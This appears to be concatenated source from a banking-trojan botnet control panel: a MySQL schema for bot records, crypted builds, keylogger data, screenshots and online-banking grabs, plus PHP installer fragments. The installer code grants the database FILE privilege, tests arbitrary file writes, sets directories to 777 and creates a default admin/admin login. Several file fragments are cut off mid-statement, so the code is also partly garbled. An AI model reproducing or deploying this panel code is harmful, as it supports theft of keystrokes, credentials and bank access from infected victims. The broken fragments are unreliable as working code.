-------------------------------------------------------------------------------------NEXT FILE
------------------------------------------------------------------------------------NEXT FILE
include('footer.php');
?>
-------------------------------------------------------------------------------------next file
---------------------------------------------------------------------------------next file
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
DROP TABLE IF EXISTS `bf_bots`;
CREATE TABLE `bf_bots` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`country` varchar(10) NOT NULL,
`os` varchar(128) DEFAULT NULL,
`admin` enum('0','1') NOT NULL DEFAULT '0',
`ip` varchar(32) NOT NULL,
`cmd` varchar(255) NOT NULL,
`cmd_history` text NOT NULL,
`notask` int(11) unsigned NOT NULL DEFAULT '0',
`tracking` enum('0','1') NOT NULL DEFAULT '0',
`ver` varchar(8) NOT NULL DEFAULT '0',
`min_post` int(11) unsigned NOT NULL,
`max_post` int(11) unsigned NOT NULL,
`post_id` int(11) unsigned DEFAULT NULL,
`last_date` int(11) unsigned NOT NULL,
`post_date` int(15) unsigned NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `bot` (`prefix`,`uid`),
KEY `country` (`country`),
KEY `prefix` (`prefix`),
KEY `os` (`os`,`admin`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_bots_av`;
CREATE TABLE `bf_bots_av` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(33) NOT NULL,
`av` varchar(64) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `prefix` (`prefix`,`uid`,`av`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_bots_ip`;
CREATE TABLE `bf_bots_ip` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`ip` varchar(32) NOT NULL,
`country` varchar(10) NOT NULL,
`post_id` int(11) unsigned DEFAULT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `uniq` (`prefix`,`uid`,`ip`),
KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_bots_p2p`;
CREATE TABLE `bf_bots_p2p` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`ip` varchar(32) NOT NULL,
`port` smallint(5) unsigned NOT NULL,
`status` tinyint(3) unsigned NOT NULL,
`send_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `uniq` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_builds`;
CREATE TABLE `bf_builds` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`file_orig` varchar(128) NOT NULL,
`file_crypt` varchar(128) NOT NULL,
`link` text NOT NULL,
`md5` varchar(32) NOT NULL,
`md5_crypt` varchar(32) NOT NULL,
`status` tinyint(3) unsigned NOT NULL DEFAULT '0',
`prio` float unsigned NOT NULL DEFAULT '0',
`type` enum('0','1','2','3','4','5') NOT NULL,
`av` text NOT NULL,
`avt` text NOT NULL,
`avcs` text NOT NULL,
`avc` int(11) unsigned NOT NULL DEFAULT '0',
`avcf` int(11) unsigned NOT NULL DEFAULT '0',
`history` blob NOT NULL,
`up_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`post_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
PRIMARY KEY (`id`),
UNIQUE KEY `md5` (`md5`,`type`),
KEY `type` (`type`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_cabs`;
CREATE TABLE `bf_cabs` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`country` varchar(3) NOT NULL DEFAULT 'UNK',
`ip` varchar(16) NOT NULL,
`file` varchar(64) NOT NULL,
`size` varchar(64) NOT NULL,
`type` varchar(32) NOT NULL,
`trash` enum('0','1') NOT NULL DEFAULT '0',
`ready` int(1) unsigned NOT NULL DEFAULT '0',
`parts` int(11) unsigned NOT NULL,
`partc` int(11) unsigned NOT NULL,
`chk` enum('0','1') NOT NULL DEFAULT '0',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`),
KEY `post_date` (`post_date`),
KEY `type` (`type`),
KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_cabs_parts`;
CREATE TABLE `bf_cabs_parts` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`part` text NOT NULL,
`size` varchar(64) NOT NULL,
`count` smallint(11) unsigned NOT NULL,
`post_id` int(11) unsigned NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_cmds`;
CREATE TABLE `bf_cmds` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` text NOT NULL,
`country` text NOT NULL,
`online` enum('1','2','3') NOT NULL DEFAULT '1',
`cmd` text,
`lt` enum('1','2') NOT NULL DEFAULT '1',
`count` int(11) unsigned DEFAULT '0',
`max` int(11) unsigned NOT NULL DEFAULT '0',
`enable` enum('0','1') NOT NULL DEFAULT '1',
`dev` enum('0','1') NOT NULL DEFAULT '0',
`str` text NOT NULL,
`post_id` int(11) unsigned NOT NULL,
`post_date` int(15) unsigned NOT NULL,
PRIMARY KEY (`id`),
KEY `post_id` (`post_id`),
KEY `online` (`online`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;
DROP TABLE IF EXISTS `bf_comments`;
CREATE TABLE `bf_comments` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`uniq` varchar(32) DEFAULT NULL,
`comment` varchar(128) NOT NULL,
`type` varchar(32) NOT NULL,
`post_id` int(11) unsigned NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `type` (`type`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_country`;
CREATE TABLE `bf_country` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`code` varchar(16) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `code` (`code`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_domains`;
CREATE TABLE `bf_domains` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`host` varchar(128) NOT NULL,
`status` enum('0','1','2') NOT NULL DEFAULT '0',
`av` text NOT NULL,
`avt` text NOT NULL,
`avc` int(11) unsigned NOT NULL DEFAULT '0',
`avcf` int(11) unsigned NOT NULL DEFAULT '0',
`answer` enum('0','1') NOT NULL DEFAULT '0',
`comment` varchar(128) NOT NULL,
`up_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`post_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
PRIMARY KEY (`id`),
UNIQUE KEY `host` (`host`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_filters`;
CREATE TABLE `bf_filters` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(128) NOT NULL,
`fields` text NOT NULL,
`host` text,
`save_log` enum('0','1') NOT NULL DEFAULT '0',
`parent_id` text NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;
DROP TABLE IF EXISTS `bf_filters_files`;
CREATE TABLE `bf_filters_files` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`file` varchar(18) NOT NULL,
`type` tinyint(11) unsigned NOT NULL,
`size` int(11) unsigned NOT NULL,
`import` enum('0','1') NOT NULL DEFAULT '0',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `ftype` (`file`,`type`),
KEY `itype` (`type`,`import`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;
DROP TABLE IF EXISTS `bf_ibank_gra`;
CREATE TABLE `bf_ibank_gra` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`pid` mediumint(11) unsigned NOT NULL,
`host` varchar(128) NOT NULL DEFAULT 'unknow',
`hwnd` int(11) unsigned NOT NULL,
`keyhwnd` text NOT NULL,
`grp` varchar(32) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `bot` (`prefix`,`uid`),
KEY `item` (`prefix`,`uid`,`pid`,`hwnd`),
KEY `grp` (`grp`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_keylog`;
CREATE TABLE `bf_keylog` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(128) NOT NULL,
`hash` varchar(32) NOT NULL,
`post_id` int(11) unsigned NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `hash` (`hash`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_keylog_data`;
CREATE TABLE `bf_keylog_data` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`hash` varchar(64) NOT NULL,
`shash` varchar(64) NOT NULL,
`data` text NOT NULL,
`trash` enum('0','1') NOT NULL DEFAULT '0',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `item` (`prefix`,`uid`,`hash`,`shash`),
KEY `hash` (`hash`),
KEY `shash` (`shash`),
KEY `trash` (`trash`),
KEY `bot` (`prefix`,`uid`),
KEY `bot_hash` (`hash`,`shash`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_links`;
CREATE TABLE `bf_links` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`link` varchar(128) NOT NULL,
`dev` enum('0','1') NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_logs`;
CREATE TABLE `bf_logs` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`url` varchar(255) NOT NULL,
`data` text NOT NULL,
`brw` varchar(16) NOT NULL,
`protocol` varchar(16) NOT NULL,
`ip` varchar(16) NOT NULL,
`country` varchar(3) NOT NULL,
`type` int(1) NOT NULL,
`download` int(11) NOT NULL DEFAULT '0',
`hour` tinyint(4) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `download` (`download`),
KEY `bot` (`prefix`,`uid`),
KEY `hour` (`hour`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_process`;
CREATE TABLE `bf_process` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`plist` text NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_process_stats`;
CREATE TABLE `bf_process_stats` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(64) NOT NULL,
`count` int(99) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`name`),
KEY `count` (`count`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_screens`;
CREATE TABLE `bf_screens` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`desc` varchar(128) NOT NULL,
`file` varchar(64) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`),
KEY `post_date` (`post_date`),
KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_screens_logs`;
CREATE TABLE `bf_screens_logs` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(20) NOT NULL,
`uid` varchar(34) NOT NULL,
`desc` text NOT NULL,
`type` varchar(32) NOT NULL,
`file` varchar(64) NOT NULL,
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`),
KEY `post_date` (`post_date`),
KEY `bot` (`prefix`,`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `bf_users`;
CREATE TABLE `bf_users` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`login` varchar(100) NOT NULL,
`password` varchar(100) NOT NULL,
`PHPSESSID` varchar(100) DEFAULT NULL,
`expiry_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`config` longtext NOT NULL,
`access` longtext NOT NULL,
`info` longtext,
`enable` enum('0','1') DEFAULT '0',
`enter_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`update_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `user` (`login`,`password`),
KEY `autorize` (`login`,`password`,`PHPSESSID`,`enable`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 PACK_KEYS=0 ROW_FORMAT=DYNAMIC;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
------------------------------------------------------------------------------------next file
------------------------------------------------------------------------------------next file
-------------------------------------------------------------------------------------next file
---------------------------------------------------------------------------------next file
""
:
=') == true){
echo phpversion();
}else{
$INSTALL = true;
echo ''.phpversion().'';
}
?>
WebServer - mod_xsendfile:
'.$lang['ni'].'';
}
}
$check_download = @file_get_contents('http://' . $_SERVER["HTTP_HOST"] . '/accounts/check_download.html');
if(strlen($check_download) != 32){
$INSTALL = true;
echo ' ('.$lang['nw'].')';
}else{
echo ' ('.$lang['wo'].')';
}
?>
PHP - GeoIP Country:
'.$lang['ni'].'';
}
}
?>
PHP - MySQLi:
'.$lang['ni'].'';
}
?>
PHP - Модуль Zip:
'.$lang['ni'].'';
}
?>
PHP - Pcntl:
'.$lang['ni'].'';
}
?>
0){
foreach($func as $value){
if(!function_exists($value)){
$INSTALL = true;
//if($_GET['func'] == 1)
echo 'PHP - '.$lang['fu'].' '.$value.': '.$lang['ot'].'
';
}else{
//if($_GET['func'] == 1) echo 'PHP - Функция '.$value.': есть
';
}
}
}
?>
""!
--------------------------------------------------------------------------------------next file
""
'.$lang['nd'].'
';
}
}
}
}elseif(is_dir($dir)){
$d = scandir($dir);
foreach($d as $value){
if($value != '.htaccess' && $value != '.' && $value != '..'){
if(!is_writable($dir . $value)){
if(!@chmod($dir . $value, '777')){
$INSTALL = true;
echo $dir . $value . ': '.$lang['nd'].'
';
}
}
}
if($value != '.' && $value != '..'){
recurse($dir . $value . '/');
}
}
}
}
recurse(__DIR__ . '/cache/');
recurse(__DIR__ . '/logs/');
recurse(__DIR__ . '/scripts/');
recurse(__DIR__ . '/crons/');
recurse(__DIR__ . '/classes/');
recurse(__DIR__ . '/modules/');
recurse(__DIR__ . '/cfg/');
recurse(__DIR__ . '/templates/');
recurse(__DIR__ . '/includes/');
recurse(__DIR__ . '/includes/config.php');
?>
""!
-------------------------------------------------------------------------------next file
""
connect($cfg_db['host'], $cfg_db['user'], $cfg_db['pass'], $cfg_db['db']);
if(count($mysqli->errors) > 0){
$INSTALL = true;
}else{
if($_GET['file_save'] != 'no'){
$mysqli->db[0]->query('GRANT FILE ON * . * TO \''.$_POST['user'].'\'@\''.$_POST['host'].'\'');
$cte = 'QWERYTEST!';
$result = $mysqli->query('SELECT concat(urldecode(\''.urlencode($cte).'\')) cte');
if($result->cte != $cte){
include_once('includes/functions.mysql_urldecode.php');
$mysqli->db[0]->query('DROP FUNCTION IF EXISTS urldecode;');
$mysqli->db[0]->query(mysql_urldecode());
$result = $mysqli->query('SELECT concat(urldecode(\''.urlencode($cte).'\')) cte');
if($result->cte != $cte){
$INSTALL = true;
$ERROR = 2;
}
}
if($ERROR != 2 && $INSTALL != true){
$test_str = md5(time());
$file_name = str_replace('\\', '/', '/tmp/' . $test_str);
$mysqli->db[0]->query('SELECT concat(urldecode(\''.$test_str.'\')) INTO OUTFILE \''.$file_name.'\' FIELDS TERMINATED BY \';\' LINES TERMINATED BY \'\'');
if(file_exists($file_name)){
if(file_get_contents($file_name) != $test_str . ';'){
$INSTALL = true;
$ERROR = 1;
}
@unlink($file_name);
}else{
$INSTALL = true;
$ERROR = 1;
}
}
}
if($INSTALL != true){
/*
$tb = array();
$tables = $mysqli->query('SHOW TABLES', null, null, false);
if(count($tables > 0)){
foreach($tables as $t){
$t = get_object_vars($t);
$t = array_shift($t);
if(preg_match('~_bak$~is', $t) != true){
$mysqli->query('DROP TABLE IF EXISTS '.$t.'_bak');
$mysqli->query('RENAME TABLE '.$t.' TO '.$t.'_bak');
$tb[$t] = $t;
}
}
}
unset($tables);
*/
if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots\'')) == 'bf_bots'){
$mysqli->query('DROP TABLE IF EXISTS bf_bots_bak');
$mysqli->query('RENAME TABLE bf_bots TO bf_bots_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots_ip\'')) == 'bf_bots_ip'){
$mysqli->query('DROP TABLE IF EXISTS bf_bots_ip_bak');
$mysqli->query('RENAME TABLE bf_bots_ip TO bf_bots_ip_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_files\'')) == 'bf_filters_files'){
$mysqli->query('DROP TABLE IF EXISTS bf_filters_files_bak');
$mysqli->query('RENAME TABLE bf_filters_files TO bf_filters_files_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters\'')) == 'bf_filters'){
$mysqli->query('DROP TABLE IF EXISTS bf_filters_bak');
$mysqli->query('RENAME TABLE bf_filters TO bf_filters_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs\'')) == 'bf_cabs'){
$mysqli->query('DROP TABLE IF EXISTS bf_cabs_bak');
$mysqli->query('RENAME TABLE bf_cabs TO bf_cabs_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs_parts\'')) == 'bf_cabs_parts'){
$mysqli->query('DROP TABLE IF EXISTS bf_cabs_parts_bak');
$mysqli->query('RENAME TABLE bf_cabs_parts TO bf_cabs_parts_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_comments\'')) == 'bf_comments'){
$mysqli->query('DROP TABLE IF EXISTS bf_comments_bak');
$mysqli->query('RENAME TABLE bf_comments TO bf_comments_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog\'')) == 'bf_keylog'){
$mysqli->query('DROP TABLE IF EXISTS bf_keylog_bak');
$mysqli->query('RENAME TABLE bf_keylog TO bf_keylog_bak');
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog_data\'')) == 'bf_keylog_data'){
$mysqli->query('DROP TABLE IF EXISTS bf_keylog_data_bak');
$mysqli->query('RENAME TABLE bf_keylog_data TO bf_keylog_data_bak');
}
$ERROR = 0;
if(file_exists('scripts/install/install.sql')){
$sql = file_get_contents('scripts/install/install.sql');
}elseif(file_exists('scripts/install/install.sql.tpl')){
$sql = ioncube_read_file(realpath('scripts/install/install.sql.tpl'));
}
$sql .= "\n\r";
include_once('modules/accounts/rights_list.php');
foreach($right as $key => $value){
foreach($value as $key2 => $value2){
$right[$key][$key2] = 'on';
}
}
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(1, \''.$lang['ss'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(2, \''.$lang['es'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(3, \''.$lang['pls'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(4, \''.$lang['trs'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(5, \''.$lang['fs'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(6, \''.$lang['drsa'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(7, \''.$lang['drsi'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(8, \''.$lang['mej'].'\', \'\', NULL, 0, \'1|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(9, \''.$lang['mej'].'\', \'\', NULL, 0, \'2|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(10, \''.$lang['mej'].'\', \'\', NULL, 0, \'3|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(11, \''.$lang['mej'].'\', \'\', NULL, 0, \'4|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(12, \''.$lang['mej'].'\', \'\', NULL, 0, \'5|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(13, \''.$lang['mej'].'\', \'\', NULL, 0, \'6|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(14, \''.$lang['mej'].'\', \'\', NULL, 0, \'7|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(15, \''.$lang['sng'].'\', \'\', NULL, 0, \'1|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(16, \''.$lang['sng'].'\', \'\', NULL, 0, \'2|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(17, \''.$lang['sng'].'\', \'\', NULL, 0, \'3|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(18, \''.$lang['sng'].'\', \'\', NULL, 0, \'4|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(19, \''.$lang['sng'].'\', \'\', NULL, 0, \'5|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(20, \''.$lang['sng'].'\', \'\', NULL, 0, \'6|\');' . "\r\n";
$sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(21, \''.$lang['sng'].'\', \'\', NULL, 0, \'7|\');' . "\r\n";
$config = array();
$config['prefix'] = '';
$config['cp'] = array();
$config['cp']['bots'] = '100';
$config['cp']['bots_country'] = '100';
$config['cp']['keylog'] = '100';
$config['cp']['keylogp'] = '100';
$config['cp']['cabs'] = '100';
$config['cp']['filters'] = '100';
$config['jabber'] = '';
$config['sbbc'] = '0';
$config['klimit'] = '';
$config['hunter_limit'] = '0';
$sql .= "\n\r";
$sql .= 'INSERT INTO bf_users (login, password, config, access, enable) VALUES (\'admin\', \''.MD5('admin').'\', \''.json_encode($config).'\', \''.json_encode($right).'\', \'1\');';
if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots_bak\'')) == 'bf_bots_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_bots;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_bots_bak TO bf_bots;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots_ip_bak\'')) == 'bf_bots_ip_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_bots_ip;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_bots_ip_bak TO bf_bots_ip;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_unnecessary_bak\'')) == 'bf_filters_unnecessary_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_filters_unnecessary;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_filters_unnecessary_bak TO bf_filters_unnecessary;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_files_bak\'')) == 'bf_filters_files_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_filters_files;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_filters_files_bak TO bf_filters_files;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_save_bak\'')) == 'bf_filters_save_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_filters_save;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_filters_save_bak TO bf_filters_save;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_bak\'')) == 'bf_filters_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_filters;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_filters_bak TO bf_filters;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs_bak\'')) == 'bf_cabs_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_cabs;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_cabs_bak TO bf_cabs;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs_parts_bak\'')) == 'bf_cabs_parts_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_cabs_parts;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_cabs_parts_bak TO bf_cabs_parts;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_comments_bak\'')) == 'bf_comments_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_comments;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_comments_bak TO bf_comments;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog_bak\'')) == 'bf_keylog_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_keylog;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_keylog_bak TO bf_keylog;";
}
if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog_data_bak\'')) == 'bf_keylog_data_bak'){
$sql .= "\n\r";
$sql .= "DROP TABLE IF EXISTS bf_keylog_data;";
$sql .= "\n\r";
$sql .= "RENAME TABLE bf_keylog_data_bak TO bf_keylog_data;";
}
$sql .= "\n\r";
//$sql .= 'ALTER TABLE `bf_cabs` CHANGE `type` `type` VARCHAR( 32 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;';
//$sql .= 'ALTER TABLE `bf_comments` CHANGE `type` `type` VARCHAR( 32 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;';
//$sql .= 'ALTER TABLE `bf_cabs` ADD INDEX `type` ( `type` );';
//$sql .= 'ALTER TABLE `bf_comments` ADD INDEX `type` ( `type` );';
//$sql .= "\n\r";
$sql .= 'update bf_cabs set type = \'bss\' WHERE (type = \'1\');';
$sql .= 'update bf_cabs set type = \'ibank\' WHERE (type = \'2\');';
$sql .= 'update bf_cabs set type = \'inist\' WHERE (type = \'3\');';
$sql .= 'update bf_cabs set type = \'cyberplat\' WHERE (type = \'4\');';
